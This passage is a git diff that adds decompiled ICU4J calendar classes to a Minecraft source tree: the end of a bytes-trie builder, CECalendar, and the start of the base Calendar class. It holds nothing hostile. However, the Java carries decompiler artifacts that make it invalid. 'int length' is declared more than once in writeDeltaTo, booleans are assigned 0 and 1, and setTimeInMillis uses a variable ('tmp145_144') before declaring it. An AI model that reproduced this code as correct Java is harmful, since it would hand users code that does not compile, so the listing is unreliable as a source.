+    bytes = null;
+    bytesLength = 0;
+    return this;
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  protected boolean matchNodesCanHaveValues()
+  {
+    return false;
+  }
+  
+  /**
+   * @deprecated
+   */
+  protected int getMaxBranchLinearSubNodeLength()
+  {
+    return 5;
+  }
+  
+  /**
+   * @deprecated
+   */
+  protected int getMinLinearMatch() {
+    return 16;
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  protected int getMaxLinearMatchLength() { return 16; }
+  
+  private void ensureCapacity(int length) {
+    if (length > bytes.length) {
+      int newCapacity = bytes.length;
+      do {
+        newCapacity *= 2;
+      } while (newCapacity <= length);
+      byte[] newBytes = new byte[newCapacity];
+      System.arraycopy(bytes, bytes.length - bytesLength, newBytes, newBytes.length - bytesLength, bytesLength);
+      
+      bytes = newBytes;
+    }
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  protected int write(int b)
+  {
+    int newLength = bytesLength + 1;
+    ensureCapacity(newLength);
+    bytesLength = newLength;
+    bytes[(bytes.length - bytesLength)] = ((byte)b);
+    return bytesLength;
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  protected int write(int offset, int length)
+  {
+    int newLength = bytesLength + length;
+    ensureCapacity(newLength);
+    bytesLength = newLength;
+    int bytesOffset = bytes.length - bytesLength;
+    while (length > 0) {
+      bytes[(bytesOffset++)] = ((byte)strings.charAt(offset++));
+      length--;
+    }
+    return bytesLength;
+  }
+  
+  private int write(byte[] b, int length) { int newLength = bytesLength + length;
+    ensureCapacity(newLength);
+    bytesLength = newLength;
+    System.arraycopy(b, 0, bytes, bytes.length - bytesLength, length);
+    return bytesLength;
+  }
+  
+
+  private final byte[] intBytes = new byte[5];
+  private byte[] bytes;
+  private int bytesLength;
+  
+  /**
+   * @deprecated
+   */
+  protected int writeValueAndFinal(int i, boolean isFinal)
+  {
+    if ((0 <= i) && (i <= 64)) {
+      return write(16 + i << 1 | (isFinal ? 1 : 0));
+    }
+    int length = 1;
+    if ((i < 0) || (i > 16777215)) {
+      intBytes[0] = Byte.MAX_VALUE;
+      intBytes[1] = ((byte)(i >> 24));
+      intBytes[2] = ((byte)(i >> 16));
+      intBytes[3] = ((byte)(i >> 8));
+      intBytes[4] = ((byte)i);
+      length = 5;
+    }
+    else
+    {
+      if (i <= 6911) {
+        intBytes[0] = ((byte)(81 + (i >> 8)));
+      } else {
+        if (i <= 1179647) {
+          intBytes[0] = ((byte)(108 + (i >> 16)));
+        } else {
+          intBytes[0] = 126;
+          intBytes[1] = ((byte)(i >> 16));
+          length = 2;
+        }
+        intBytes[(length++)] = ((byte)(i >> 8));
+      }
+      intBytes[(length++)] = ((byte)i);
+    }
+    intBytes[0] = ((byte)(intBytes[0] << 1 | (isFinal ? 1 : 0)));
+    return write(intBytes, length);
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  protected int writeValueAndType(boolean hasValue, int value, int node)
+  {
+    int offset = write(node);
+    if (hasValue) {
+      offset = writeValueAndFinal(value, false);
+    }
+    return offset;
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  protected int writeDeltaTo(int jumpTarget)
+  {
+    int i = bytesLength - jumpTarget;
+    assert (i >= 0);
+    if (i <= 191)
+      return write(i);
+    int length;
+    int length;
+    if (i <= 12287) {
+      intBytes[0] = ((byte)(192 + (i >> 8)));
+      length = 1;
+    } else { int length;
+      if (i <= 917503) {
+        intBytes[0] = ((byte)(240 + (i >> 16)));
+        length = 2;
+      } else { int length;
+        if (i <= 16777215) {
+          intBytes[0] = -2;
+          length = 3;
+        } else {
+          intBytes[0] = -1;
+          intBytes[1] = ((byte)(i >> 24));
+          length = 4;
+        }
+        intBytes[1] = ((byte)(i >> 16));
+      }
+      intBytes[1] = ((byte)(i >> 8));
+    }
+    intBytes[(length++)] = ((byte)i);
+    return write(intBytes, length);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/CECalendar.java b/src/minecraft/com/ibm/icu/util/CECalendar.java
new file mode 100644
index 0000000..8f97e3c
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/CECalendar.java
@@ -0,0 +1,274 @@
+package com.ibm.icu.util;
+
+import java.util.Date;
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class CECalendar
+  extends Calendar
+{
+  private static final long serialVersionUID = -999547623066414271L;
+  private static final int[][] LIMITS = { { 0, 0, 1, 1 }, { 1, 1, 5000000, 5000000 }, { 0, 0, 12, 12 }, { 1, 1, 52, 53 }, new int[0], { 1, 1, 5, 30 }, { 1, 1, 365, 366 }, new int[0], { -1, -1, 1, 5 }, new int[0], new int[0], new int[0], new int[0], new int[0], new int[0], new int[0], new int[0], { -5000000, -5000000, 5000000, 5000000 }, new int[0], { -5000000, -5000000, 5000000, 5000000 }, new int[0], new int[0] };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected CECalendar()
+  {
+    this(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+
+  protected CECalendar(TimeZone zone)
+  {
+    this(zone, ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+
+  protected CECalendar(Locale aLocale)
+  {
+    this(TimeZone.getDefault(), aLocale);
+  }
+  
+
+
+
+
+
+  protected CECalendar(ULocale locale)
+  {
+    this(TimeZone.getDefault(), locale);
+  }
+  
+
+
+
+
+
+
+
+  protected CECalendar(TimeZone zone, Locale aLocale)
+  {
+    super(zone, aLocale);
+    setTimeInMillis(System.currentTimeMillis());
+  }
+  
+
+
+
+
+
+
+
+  protected CECalendar(TimeZone zone, ULocale locale)
+  {
+    super(zone, locale);
+    setTimeInMillis(System.currentTimeMillis());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected CECalendar(int year, int month, int date)
+  {
+    super(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT));
+    set(year, month, date);
+  }
+  
+
+
+
+
+
+  protected CECalendar(Date date)
+  {
+    super(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT));
+    setTime(date);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected CECalendar(int year, int month, int date, int hour, int minute, int second)
+  {
+    super(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT));
+    set(year, month, date, hour, minute, second);
+  }
+  
+
+
+
+
+
+
+
+  protected abstract int getJDEpochOffset();
+  
+
+
+
+
+
+
+  protected int handleComputeMonthStart(int eyear, int emonth, boolean useMonth)
+  {
+    return ceToJD(eyear, emonth, 0, getJDEpochOffset());
+  }
+  
+
+
+  protected int handleGetLimit(int field, int limitType)
+  {
+    return LIMITS[field][limitType];
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected int handleGetMonthLength(int extendedYear, int month)
+  {
+    if ((month + 1) % 13 != 0)
+    {
+
+      return 30;
+    }
+    
+
+
+    return extendedYear % 4 / 3 + 5;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int ceToJD(long year, int month, int day, int jdEpochOffset)
+  {
+    if (month >= 0) {
+      year += month / 13;
+      month %= 13;
+    } else {
+      month++;
+      year += month / 13 - 1;
+      month = month % 13 + 12;
+    }
+    return (int)(jdEpochOffset + 365L * year + floorDivide(year, 4L) + 30 * month + day - 1L);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static void jdToCE(int julianDay, int jdEpochOffset, int[] fields)
+  {
+    int[] r4 = new int[1];
+    
+    int c4 = floorDivide(julianDay - jdEpochOffset, 1461, r4);
+    
+
+    fields[0] = (4 * c4 + (r4[0] / 365 - r4[0] / 1460));
+    
+    int doy = r4[0] == 1460 ? 365 : r4[0] % 365;
+    
+
+    fields[1] = (doy / 30);
+    
+    fields[2] = (doy % 30 + 1);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/Calendar.java b/src/minecraft/com/ibm/icu/util/Calendar.java
new file mode 100644
index 0000000..119d199
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/Calendar.java
@@ -0,0 +1,6130 @@
+package com.ibm.icu.util;
+
+import com.ibm.icu.impl.CalendarData;
+import com.ibm.icu.impl.CalendarUtil;
+import com.ibm.icu.impl.ICUCache;
+import com.ibm.icu.impl.ICUResourceBundle;
+import com.ibm.icu.impl.SimpleCache;
+import com.ibm.icu.text.DateFormat;
+import com.ibm.icu.text.DateFormatSymbols;
+import com.ibm.icu.text.MessageFormat;
+import com.ibm.icu.text.SimpleDateFormat;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.text.StringCharacterIterator;
+import java.util.ArrayList;
+import java.util.Date;
+import java.util.Locale;
+import java.util.MissingResourceException;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Calendar
+  implements Serializable, Cloneable, Comparable<Calendar>
+{
+  public static final int ERA = 0;
+  public static final int YEAR = 1;
+  public static final int MONTH = 2;
+  public static final int WEEK_OF_YEAR = 3;
+  public static final int WEEK_OF_MONTH = 4;
+  public static final int DATE = 5;
+  public static final int DAY_OF_MONTH = 5;
+  public static final int DAY_OF_YEAR = 6;
+  public static final int DAY_OF_WEEK = 7;
+  public static final int DAY_OF_WEEK_IN_MONTH = 8;
+  public static final int AM_PM = 9;
+  public static final int HOUR = 10;
+  public static final int HOUR_OF_DAY = 11;
+  public static final int MINUTE = 12;
+  public static final int SECOND = 13;
+  public static final int MILLISECOND = 14;
+  public static final int ZONE_OFFSET = 15;
+  public static final int DST_OFFSET = 16;
+  public static final int YEAR_WOY = 17;
+  public static final int DOW_LOCAL = 18;
+  public static final int EXTENDED_YEAR = 19;
+  public static final int JULIAN_DAY = 20;
+  public static final int MILLISECONDS_IN_DAY = 21;
+  public static final int IS_LEAP_MONTH = 22;
+  protected static final int BASE_FIELD_COUNT = 23;
+  protected static final int MAX_FIELD_COUNT = 32;
+  public static final int SUNDAY = 1;
+  public static final int MONDAY = 2;
+  public static final int TUESDAY = 3;
+  public static final int WEDNESDAY = 4;
+  public static final int THURSDAY = 5;
+  public static final int FRIDAY = 6;
+  public static final int SATURDAY = 7;
+  public static final int JANUARY = 0;
+  public static final int FEBRUARY = 1;
+  public static final int MARCH = 2;
+  public static final int APRIL = 3;
+  public static final int MAY = 4;
+  public static final int JUNE = 5;
+  public static final int JULY = 6;
+  public static final int AUGUST = 7;
+  public static final int SEPTEMBER = 8;
+  public static final int OCTOBER = 9;
+  public static final int NOVEMBER = 10;
+  public static final int DECEMBER = 11;
+  public static final int UNDECIMBER = 12;
+  public static final int AM = 0;
+  public static final int PM = 1;
+  public static final int WEEKDAY = 0;
+  public static final int WEEKEND = 1;
+  public static final int WEEKEND_ONSET = 2;
+  public static final int WEEKEND_CEASE = 3;
+  public static final int WALLTIME_LAST = 0;
+  public static final int WALLTIME_FIRST = 1;
+  public static final int WALLTIME_NEXT_VALID = 2;
+  protected static final int ONE_SECOND = 1000;
+  protected static final int ONE_MINUTE = 60000;
+  protected static final int ONE_HOUR = 3600000;
+  protected static final long ONE_DAY = 86400000L;
+  protected static final long ONE_WEEK = 604800000L;
+  protected static final int JAN_1_1_JULIAN_DAY = 1721426;
+  protected static final int EPOCH_JULIAN_DAY = 2440588;
+  protected static final int MIN_JULIAN = -2130706432;
+  protected static final long MIN_MILLIS = -184303902528000000L;
+  protected static final Date MIN_DATE = new Date(-184303902528000000L);
+  
+
+
+
+
+
+
+  protected static final int MAX_JULIAN = 2130706432;
+  
+
+
+
+
+
+  protected static final long MAX_MILLIS = 183882168921600000L;
+  
+
+
+
+
+
+  protected static final Date MAX_DATE = new Date(183882168921600000L);
+  
+
+
+
+
+
+
+
+
+  private transient int[] fields;
+  
+
+
+
+
+
+
+
+
+  private transient int[] stamp;
+  
+
+
+
+
+
+
+
+
+  private long time;
+  
+
+
+
+
+
+
+
+
+  private transient boolean isTimeSet;
+  
+
+
+
+
+
+
+
+  private transient boolean areFieldsSet;
+  
+
+
+
+
+
+
+
+  private transient boolean areAllFieldsSet;
+  
+
+
+
+
+
+
+
+  private transient boolean areFieldsVirtuallySet;
+  
+
+
+
+
+
+
+
+  private boolean lenient = true;
+  
+
+
+
+
+
+
+  private TimeZone zone;
+  
+
+
+
+
+
+
+  private int firstDayOfWeek;
+  
+
+
+
+
+
+
+  private int minimalDaysInFirstWeek;
+  
+
+
+
+
+
+
+  private int weekendOnset;
+  
+
+
+
+
+
+
+  private int weekendOnsetMillis;
+  
+
+
+
+
+
+  private int weekendCease;
+  
+
+
+
+
+
+  private int weekendCeaseMillis;
+  
+
+
+
+
+
+  private int repeatedWallTime = 0;
+  
+
+
+
+  private int skippedWallTime = 0;
+  
+
+
+
+
+  private static ICUCache<ULocale, WeekData> cachedLocaleData = new SimpleCache();
+  
+
+
+
+
+
+
+
+  protected static final int UNSET = 0;
+  
+
+
+
+
+
+
+
+  protected static final int INTERNALLY_SET = 1;
+  
+
+
+
+
+
+
+  protected static final int MINIMUM_USER_STAMP = 2;
+  
+
+
+
+
+
+
+  private transient int nextStamp = 2;
+  
+
+
+
+
+
+
+
+
+
+
+  private static final long serialVersionUID = 6222646104888790989L;
+  
+
+
+
+
+
+
+
+
+
+
+  private transient int internalSetMask;
+  
+
+
+
+
+
+
+
+
+
+  private transient int gregorianYear;
+  
+
+
+
+
+
+
+
+
+
+  private transient int gregorianMonth;
+  
+
+
+
+
+
+
+
+
+
+  private transient int gregorianDayOfYear;
+  
+
+
+
+
+
+
+
+
+
+  private transient int gregorianDayOfMonth;
+  
+
+
+
+
+
+
+
+
+
+
+  protected Calendar()
+  {
+    this(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+
+
+  protected Calendar(TimeZone zone, Locale aLocale)
+  {
+    this(zone, ULocale.forLocale(aLocale));
+  }
+  
+
+
+
+
+
+
+  protected Calendar(TimeZone zone, ULocale locale)
+  {
+    this.zone = zone;
+    setWeekData(locale);
+    initInternal();
+  }
+  
+
+
+
+  private void recalculateStamp()
+  {
+    nextStamp = 1;
+    
+    for (int j = 0; j < stamp.length; j++) {
+      int currentValue = STAMP_MAX;
+      int index = -1;
+      
+      for (int i = 0; i < stamp.length; i++) {
+        if ((stamp[i] > nextStamp) && (stamp[i] < currentValue)) {
+          currentValue = stamp[i];
+          index = i;
+        }
+      }
+      
+      if (index < 0) break;
+      stamp[index] = (++nextStamp);
+    }
+    
+
+
+    nextStamp += 1;
+  }
+  
+
+
+  private void initInternal()
+  {
+    fields = handleCreateFields();
+    
+
+    if ((fields == null) || (fields.length < 23) || (fields.length > 32))
+    {
+      throw new IllegalStateException("Invalid fields[]");
+    }
+    
+    stamp = new int[fields.length];
+    int mask = 4718695;
+    
+
+
+
+
+
+    for (int i = 23; i < fields.length; i++) {
+      mask |= 1 << i;
+    }
+    internalSetMask = mask;
+  }
+  
+
+
+
+
+
+  public static synchronized Calendar getInstance()
+  {
+    return getInstanceInternal(null, null);
+  }
+  
+
+
+
+
+
+
+  public static synchronized Calendar getInstance(TimeZone zone)
+  {
+    return getInstanceInternal(zone, null);
+  }
+  
+
+
+
+
+
+
+  public static synchronized Calendar getInstance(Locale aLocale)
+  {
+    return getInstanceInternal(null, ULocale.forLocale(aLocale));
+  }
+  
+
+
+
+
+
+
+  public static synchronized Calendar getInstance(ULocale locale)
+  {
+    return getInstanceInternal(null, locale);
+  }
+  
+
+
+
+
+
+
+
+  public static synchronized Calendar getInstance(TimeZone zone, Locale aLocale)
+  {
+    return getInstanceInternal(zone, ULocale.forLocale(aLocale));
+  }
+  
+
+
+
+
+
+
+
+  public static synchronized Calendar getInstance(TimeZone zone, ULocale locale)
+  {
+    return getInstanceInternal(zone, locale);
+  }
+  
+
+
+
+  private static Calendar getInstanceInternal(TimeZone tz, ULocale locale)
+  {
+    if (locale == null) {
+      locale = ULocale.getDefault(ULocale.Category.FORMAT);
+    }
+    if (tz == null) {
+      tz = TimeZone.getDefault();
+    }
+    Calendar cal = getShim().createInstance(locale);
+    cal.setTimeZone(tz);
+    cal.setTimeInMillis(System.currentTimeMillis());
+    return cal;
+  }
+  
+  private static int STAMP_MAX = 10000;
+  
+  private static final String[] calTypes = { "gregorian", "japanese", "buddhist", "roc", "persian", "islamic-civil", "islamic", "hebrew", "chinese", "indian", "coptic", "ethiopic", "ethiopic-amete-alem", "iso8601", "dangi" };
+  
+  private static final int CALTYPE_GREGORIAN = 0;
+  
+  private static final int CALTYPE_JAPANESE = 1;
+  
+  private static final int CALTYPE_BUDDHIST = 2;
+  
+  private static final int CALTYPE_ROC = 3;
+  
+  private static final int CALTYPE_PERSIAN = 4;
+  
+  private static final int CALTYPE_ISLAMIC_CIVIL = 5;
+  
+  private static final int CALTYPE_ISLAMIC = 6;
+  
+  private static final int CALTYPE_HEBREW = 7;
+  
+  private static final int CALTYPE_CHINESE = 8;
+  
+  private static final int CALTYPE_INDIAN = 9;
+  
+  private static final int CALTYPE_COPTIC = 10;
+  
+  private static final int CALTYPE_ETHIOPIC = 11;
+  
+  private static final int CALTYPE_ETHIOPIC_AMETE_ALEM = 12;
+  
+  private static final int CALTYPE_ISO8601 = 13;
+  
+  private static final int CALTYPE_DANGI = 14;
+  
+  private static final int CALTYPE_UNKNOWN = -1;
+  private static CalendarShim shim;
+  
+  private static int getCalendarTypeForLocale(ULocale l)
+  {
+    String s = CalendarUtil.getCalendarType(l);
+    if (s != null) {
+      s = s.toLowerCase(Locale.ENGLISH);
+      for (int i = 0; i < calTypes.length; i++) {
+        if (s.equals(calTypes[i])) {
+          return i;
+        }
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+  public static Locale[] getAvailableLocales()
+  {
+    if (shim == null) {
+      return ICUResourceBundle.getAvailableLocales();
+    }
+    return getShim().getAvailableLocales();
+  }
+  
+
+
+
+
+
+
+  public static ULocale[] getAvailableULocales()
+  {
+    if (shim == null) {
+      return ICUResourceBundle.getAvailableULocales();
+    }
+    return getShim().getAvailableULocales();
+  }
+  
+
+
+
+
+
+
+
+  static abstract class CalendarFactory
+  {
+    public boolean visible()
+    {
+      return true;
+    }
+    
+    public abstract Set<String> getSupportedLocaleNames();
+    
+    public Calendar createCalendar(ULocale loc) {
+      return null;
+    }
+    
+
+
+
+
+
+
+    protected CalendarFactory() {}
+  }
+  
+
+
+
+
+
+  private static CalendarShim getShim()
+  {
+    if (shim == null) {
+      try {
+        Class<?> cls = Class.forName("com.ibm.icu.util.CalendarServiceShim");
+        shim = (CalendarShim)cls.newInstance();
+      }
+      catch (MissingResourceException e) {
+        throw e;
+      }
+      catch (Exception e) {
+        throw new RuntimeException(e.getMessage());
+      }
+    }
+    return shim;
+  }
+  
+  static Calendar createInstance(ULocale locale) {
+    Calendar cal = null;
+    TimeZone zone = TimeZone.getDefault();
+    int calType = getCalendarTypeForLocale(locale);
+    if (calType == -1)
+    {
+      calType = 0;
+    }
+    
+    switch (calType) {
+    case 0: 
+      cal = new GregorianCalendar(zone, locale);
+      break;
+    case 1: 
+      cal = new JapaneseCalendar(zone, locale);
+      break;
+    case 2: 
+      cal = new BuddhistCalendar(zone, locale);
+      break;
+    case 3: 
+      cal = new TaiwanCalendar(zone, locale);
+      break;
+    case 4: 
+      cal = new PersianCalendar(zone, locale);
+      break;
+    case 5: 
+      cal = new IslamicCalendar(zone, locale);
+      break;
+    case 6: 
+      cal = new IslamicCalendar(zone, locale);
+      ((IslamicCalendar)cal).setCivil(false);
+      break;
+    case 7: 
+      cal = new HebrewCalendar(zone, locale);
+      break;
+    case 8: 
+      cal = new ChineseCalendar(zone, locale);
+      break;
+    case 9: 
+      cal = new IndianCalendar(zone, locale);
+      break;
+    case 10: 
+      cal = new CopticCalendar(zone, locale);
+      break;
+    case 11: 
+      cal = new EthiopicCalendar(zone, locale);
+      break;
+    case 12: 
+      cal = new EthiopicCalendar(zone, locale);
+      ((EthiopicCalendar)cal).setAmeteAlemEra(true);
+      break;
+    case 14: 
+      cal = new DangiCalendar(zone, locale);
+      break;
+    
+    case 13: 
+      cal = new GregorianCalendar(zone, locale);
+      cal.setFirstDayOfWeek(2);
+      cal.setMinimalDaysInFirstWeek(4);
+      break;
+    
+
+    default: 
+      throw new IllegalArgumentException("Unknown calendar type");
+    }
+    
+    return cal;
+  }
+  
+
+
+
+
+
+
+  static Object registerFactory(CalendarFactory factory)
+  {
+    if (factory == null) {
+      throw new IllegalArgumentException("factory must not be null");
+    }
+    return getShim().registerFactory(factory);
+  }
+  
+
+
+
+
+  static boolean unregister(Object registryKey)
+  {
+    if (registryKey == null) {
+      throw new IllegalArgumentException("registryKey must not be null");
+    }
+    
+    if (shim == null) {
+      return false;
+    }
+    
+    return shim.unregister(registryKey);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final String[] getKeywordValuesForLocale(String key, ULocale locale, boolean commonlyUsed)
+  {
+    String prefRegion = locale.getCountry();
+    if (prefRegion.length() == 0) {
+      ULocale loc = ULocale.addLikelySubtags(locale);
+      prefRegion = loc.getCountry();
+    }
+    
+
+    ArrayList<String> values = new ArrayList();
+    
+    UResourceBundle rb = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "supplementalData", ICUResourceBundle.ICU_DATA_CLASS_LOADER);
+    
+
+
+    UResourceBundle calPref = rb.get("calendarPreferenceData");
+    UResourceBundle order = null;
+    try {
+      order = calPref.get(prefRegion);
+    }
+    catch (MissingResourceException mre) {
+      order = calPref.get("001");
+    }
+    
+    String[] caltypes = order.getStringArray();
+    if (commonlyUsed)
+    {
+      return caltypes;
+    }
+    
+
+    for (int i = 0; i < caltypes.length; i++) {
+      values.add(caltypes[i]);
+    }
+    
+    for (int i = 0; i < calTypes.length; i++) {
+      if (!values.contains(calTypes[i])) {
+        values.add(calTypes[i]);
+      }
+    }
+    return (String[])values.toArray(new String[values.size()]);
+  }
+  
+
+
+
+
+  public final Date getTime()
+  {
+    return new Date(getTimeInMillis());
+  }
+  
+
+
+
+
+
+
+
+
+  public final void setTime(Date date)
+  {
+    setTimeInMillis(date.getTime());
+  }
+  
+
+
+
+
+  public long getTimeInMillis()
+  {
+    if (!isTimeSet) updateTime();
+    return time;
+  }
+  
+
+
+
+
+
+
+
+  public void setTimeInMillis(long millis)
+  {
+    if (millis > 183882168921600000L) {
+      if (isLenient()) {
+        millis = 183882168921600000L;
+      } else {
+        throw new IllegalArgumentException("millis value greater than upper bounds for a Calendar : " + millis);
+      }
+    } else if (millis < -184303902528000000L) {
+      if (isLenient()) {
+        millis = -184303902528000000L;
+      } else {
+        throw new IllegalArgumentException("millis value less than lower bounds for a Calendar : " + millis);
+      }
+    }
+    time = millis;
+    areFieldsSet = (this.areAllFieldsSet = 0);
+    isTimeSet = (this.areFieldsVirtuallySet = 1);
+    
+    for (int i = 0; i < fields.length; tmp145_144++) {
+      int tmp145_144 = 0;stamp[i] = tmp145_144;fields[i] = tmp145_144;
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final int get(int field)
+  {
+    complete();
+    return fields[field];
+  }
+  
+
+
+
+
+
+
+
+  protected final int internalGet(int field)
+  {
+    return fields[field];
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected final int internalGet(int field, int defaultValue)
+  {
+    return stamp[field] > 0 ? fields[field] : defaultValue;
+  }
+  
+
+
+
+
+
+
+  public final void set(int field, int value)
+  {
+    if (areFieldsVirtuallySet) {
+      computeFields();
+    }
+    fields[field] = value;
+    
+    if (nextStamp == STAMP_MAX) {
+      recalculateStamp();
+    }
+    stamp[field] = (nextStamp++);
+    isTimeSet = (this.areFieldsSet = this.areFieldsVirtuallySet = 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public final void set(int year, int month, int date)
+  {
+    set(1, year);
+    set(2, month);
+    set(5, date);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public final void set(int year, int month, int date, int hour, int minute)
+  {
+    set(1, year);
+    set(2, month);
+    set(5, date);
+    set(11, hour);
+    set(12, minute);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final void set(int year, int month, int date, int hour, int minute, int second)
+  {
+    set(1, year);
+    set(2, month);
+    set(5, date);
+    set(11, hour);
+    set(12, minute);
+    set(13, second);
+  }
+  
+
+
+
+
+  public final void clear()
+  {
+    for (int i = 0; i < fields.length; i++) {
+      int tmp22_21 = 0;stamp[i] = tmp22_21;fields[i] = tmp22_21;
+    }
+    isTimeSet = (this.areFieldsSet = this.areAllFieldsSet = this.areFieldsVirtuallySet = 0);
+  }
+  
+
+
+
+
+
+  public final void clear(int field)
+  {
+    if (areFieldsVirtuallySet) {
+      computeFields();
+    }
+    fields[field] = 0;
+    stamp[field] = 0;
